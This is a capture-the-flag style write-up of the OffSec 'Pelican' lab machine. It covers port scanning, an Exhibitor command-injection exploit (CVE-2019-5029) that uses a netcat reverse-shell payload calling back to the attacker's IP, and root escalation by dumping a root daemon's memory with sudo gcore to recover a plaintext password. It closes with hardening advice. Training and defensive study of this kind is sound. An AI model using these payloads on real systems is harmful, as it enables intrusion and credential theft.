PT1 certified | OSCP in progress

Pelican – OffSec Practice Writeup

Summary

Pelican is an easy-difficulty Linux machine from Proving Grounds Practice that demonstrates the critical security risks associated with exposed administrative supervisors and overly permissive debugging privileges in sudoers policies. Initial reconnaissance reveals an extensive attack surface including OpenSSH, Samba, CUPS, Apache ZooKeeper, and a web interface hosted behind an Nginx reverse proxy. Web enumeration identifies an exposed Exhibitor for ZooKeeper supervisor dashboard. By exploiting an unauthenticated remote command injection vulnerability in Exhibitor’s configuration REST API, arbitrary commands can be executed on the server, establishing an initial interactive foothold as an unprivileged user. Internal privilege escalation auditing identifies a sudoers misconfiguration permitting the user to execute the gcore core-dump utility without password verification. By auditing running background processes, an operator discovers a custom credential daemon executing under superuser privileges. Dumping this process’s virtual memory address space recovers cleartext administrative credentials, enabling an immediate switch to the root account.


Reconnaissance

Port Scanning & Service Discovery

Initial network reconnaissance was conducted using rustscan coupled with standard nmap service detection and default NSE scripts:

rustscan -a 192.168.120.98 -- -sCV -oN target
PORT      STATE SERVICE     REASON         VERSION
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp   open  ipp         syn-ack ttl 61 CUPS 2.2
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS POST PUT
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
2181/tcp  open  zookeeper   syn-ack ttl 61 Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp  open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp  open  http        syn-ack ttl 61 Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found
8081/tcp  open  http        syn-ack ttl 61 nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.120.98:8080/exhibitor/v1/ui/index.html
|_http-server-header: nginx/1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
46295/tcp open  java-rmi    syn-ack ttl 61 Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: pelican
|   NetBIOS computer name: PELICAN\x00
|   Domain name: \x00
|   FQDN: pelican
|_  System time: 2026-09-19T10:15:41-04:00
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Discovered Attack Surface

PortProtocol / ServiceVersionObservations
22 / 2222SSHOpenSSH 7.9p1 Debian 10+deb10u2Standard SSH service listening on port 22 and an alternate listener on port 2222.
139 / 445SMBSamba smbd 4.9.5-DebianNetBIOS / SMB file sharing suite (Debian 10 Buster).
631IPP / HTTPCUPS 2.2.10Common Unix Printing System; returns 403 Forbidden to unauthorized clients.
2181ZooKeeperApache ZooKeeper 3.4.6Centralized coordination service for distributed configuration management.
8080HTTPJetty 1.0Web application container serving Exhibitor REST backend. Returns 404 at root.
8081HTTPNginx 1.14.2Reverse proxy issuing an HTTP 302 redirect to Exhibitor UI on port 8080.
46295Java RMIJava Remote Method InvocationAuxiliary Java management / JMX remote invocation port.

Detailed Service & Web Enumeration

1. Apache ZooKeeper (TCP 2181)

We first query ZooKeeper using native Four-Letter Word (4LW) commands over raw TCP:

echo "stat" | nc -nv 192.168.120.98 2181
Zookeeper version: 3.4.6-1569965, built on 02/20/2014 09:09 GMT
Clients:
 /192.168.45.194:54322[0](queued=0,recved=1,sent=0)

Latency min/avg/max: 0/0/0
Received: 1
Sent: 0
Connections: 1
Outstanding: 0
Zxid: 0x0
Mode: standalone
Node count: 4

The service is running in standalone mode on an outdated build (3.4.6).

2. Web Application & Exhibitor Discovery (TCP 8081 / 8080)

Inspecting the HTTP headers on port 8081 reveals an automated redirection:

curl -I http://192.168.120.98:8081/
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.14.2
Date: Sat, 19 Sep 2026 14:16:10 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.120.98:8080/exhibitor/v1/ui/index.html

Navigating to http://192.168.120.98:8080/exhibitor/v1/ui/index.html loads the web interface of Exhibitor for ZooKeeper (v1.0 / 1.7.1), an open-source supervisor process developed by Netflix.

The web console provides complete insight into cluster topology, znode trees, and configuration parameters across tabs including Control Panel, Explorer, and Config.


Initial access

Vulnerability Analysis: Exhibitor for ZooKeeper Remote Command Injection (CVE-2019-5029)

Research into Exhibitor for ZooKeeper reveals CVE-2019-5029:

  • Affected Component: Netflix Exhibitor for ZooKeeper versions up to and including 1.7.1.
  • Vulnerability Type: Unauthenticated Remote Code Execution via Configuration Injection.
  • Underlying Flaw: Exhibitor exposes a REST configuration endpoint at /exhibitor/v1/config/set without requiring authentication. When an administrator submits a configuration update, the javaEnvironment parameter is written into the environment configuration script used to start ZooKeeper’s JVM.
  • Command Injection Vector: The startup script is invoked via a standard POSIX shell (/bin/sh). Because the application does not validate or sanitize input in javaEnvironment, shell command substitution sequences ($(...) or `...`) are directly evaluated by the underlying shell during configuration application.

Exploitation Walkthrough

We inspect the existing configuration by requesting the state endpoint:

curl -s http://192.168.120.98:8080/exhibitor/v1/config/get-state | jq .
{
  "zookeeperInstallDir": "/opt/zookeeper",
  "zookeeperDataDir": "/var/lib/zookeeper/data",
  "zookeeperLogDir": "/var/lib/zookeeper/log",
  "logIndexDirectory": "/var/lib/zookeeper/log",
  "javaEnvironment": "",
  "clientPort": 2181,
  "connectPort": 2888,
  "electionPort": 3888
}

To exploit the injection, we establish a Netcat listener on our local attacking host:

nc -lvnp 4444

We transmit a POST request to /exhibitor/v1/config/set inserting a subshell Netcat reverse shell payload into the javaEnvironment key:

curl -X POST http://192.168.120.98:8080/exhibitor/v1/config/set \
  -H "Content-Type: application/json" \
  -d '{
    "zookeeperInstallDir": "/opt/zookeeper",
    "zookeeperDataDir": "/var/lib/zookeeper/data",
    "zookeeperLogDir": "/var/lib/zookeeper/log",
    "logIndexDirectory": "/var/lib/zookeeper/log",
    "javaEnvironment": "$(/bin/nc -e /bin/sh 192.168.45.194 4444 &)",
    "autoManageInstances": 1
  }'

Alternatively, we can execute the automated public Python exploit script (CVE-2019-5029 by yZee00):

python3 exploit.py 192.168.120.98 8080 192.168.45.194 4444
[*] Fetching current configuration from http://192.168.120.98:8080/exhibitor/v1/config/get-state...
[+] Configuration retrieved successfully.
[*] Injecting reverse shell into javaEnvironment parameter...
[*] Committing configuration to http://192.168.120.98:8080/exhibitor/v1/config/set...
[+] Payload sent! Awaiting reverse shell connection...

Establishing the Foothold

On our Netcat listener, a connection is immediately received:

listening on [any] 4444 ...
connect to [192.168.45.194] from (UNKNOWN) [192.168.120.98] 49832
id
uid=1000(charles) gid=1000(charles) groups=1000(charles)
whoami
charles

We stabilize the shell to obtain a fully functional interactive TTY session:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background shell with Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color

Harvesting the User Flag

With access established as charles, we locate and read the initial user proof flag:

cat /home/charles/local.txt

Privilege escalation

Internal Enumeration & Sudo Privileges

Beginning local privilege escalation auditing, we verify the user’s allowed sudo directives:

charles@pelican:~$ sudo -l
Matching Defaults entries for charles on pelican:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

charles is permitted to execute /usr/bin/gcore as any user (including root) without password authentication.


Process Memory Analysis & Target Identification

The gcore utility (part of the GNU Debugger suite) allows users to generate an ELF core dump file containing the full virtual memory snapshot of any running process without terminating its execution.

Because gcore can be executed under sudo, we can attach to and dump the address space of any high-privilege daemon running as root.

We inspect the host process table for custom or credential-handling daemons:

ps aux | grep -v "\["
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4  33784  4224 ?        Ss   10:05   0:01 /sbin/init
root       490  0.0  0.0   2276    72 ?        Ss   10:06   0:00 /usr/bin/password-store
root       512  0.0  0.5  15816  5380 ?        Ss   10:06   0:00 /usr/sbin/sshd -D
charles    782  0.0  1.2  65208 12384 ?        Sl   10:07   0:02 java -jar exhibitor.jar
...

Notice the process running with PID 490:

  • Command: /usr/bin/password-store
  • User Context: root

A dedicated password store service running continuously as root suggests that credentials or sensitive data are resident in its virtual memory.


Dumping Process Memory via gcore

We execute gcore against PID 490 under sudo:

cd /tmp
sudo /usr/bin/gcore 490
[New LWP 490]
Saved corefile core.490
[Inferior 1 (process 490) detached]

The memory image is successfully serialized and written to /tmp/core.490.


Extracting Root Credentials

We analyze readable ASCII strings within the binary core dump:

strings /tmp/core.490 | grep -i "password" -C 3
001 Password: root:
ClogKingpinInning731

The memory dump directly reveals the plaintext password for the root account: ClogKingpinInning731.


Elevating to Root & Capturing Proof

Using the harvested credentials, we switch to the superuser account via su:

su - root
Password: ClogKingpinInning731

We verify root execution and read the final administrative proof flag:

id
uid=0(root) gid=0(root) groups=0(root)

hostname
pelican

cat /root/proof.txt

Both flags have been captured and administrative control of the host is established.


Conclusion

The Pelican machine illustrates how two distinct security deficiencies—an unauthenticated administrative web interface and unrestricted debugging privileges—can be chained to achieve full system takeover.

  1. Exposed Cluster Supervisor: Exhibitor was deployed without network segmentation or HTTP authentication, allowing external actors to reach administrative REST configuration endpoints.
  2. Insecure Configuration Evaluation (CVE-2019-5029): The javaEnvironment parameter lacked validation against shell metacharacters, permitting remote command execution through subshell syntax.
  3. Overly Permissive Sudoers Rules: Granting NOPASSWD sudo execution on memory inspection and debugging tools like gcore circumvents process boundary isolation, allowing unprivileged users to dump memory belonging to privileged services.
  4. Cleartext In-Memory Credentials: The /usr/bin/password-store daemon maintained plaintext credentials resident in process memory rather than sanitizing memory buffers after use.

Defensive Remediation & Hardening Steps

  • Enforce Authentication on Exhibitor: Secure Exhibitor by configuring HTTP Basic Authentication via --security or Jetty constraints, and restrict its interface to the loopback interface (127.0.0.1) or a dedicated management VLAN.
  • Upgrade Exhibitor & Apache ZooKeeper: Apply security patches to Exhibitor and sanitize configuration parameters before passing them to JVM startup scripts.
  • Audit & Restrict Sudoers Policies: Remove debugging utilities (gcore, gdb, strace) from /etc/sudoers. These binaries should never be executed without administrative oversight.
  • Harden Kernel Memory Protections: Set the Linux Yama LSM ptrace_scope parameter (kernel.yama.ptrace_scope = 2) in /etc/sysctl.d/10-ptrace.conf to block unauthorized ptrace attachments across process boundaries.
  • Secure Memory Handling in Applications: Utilize explicit_bzero() or memory-locking primitives (mlock) to wipe sensitive credentials from RAM immediately after authentication, and mark sensitive daemons non-dumpable using prctl(PR_SET_DUMPABLE, 0).
Index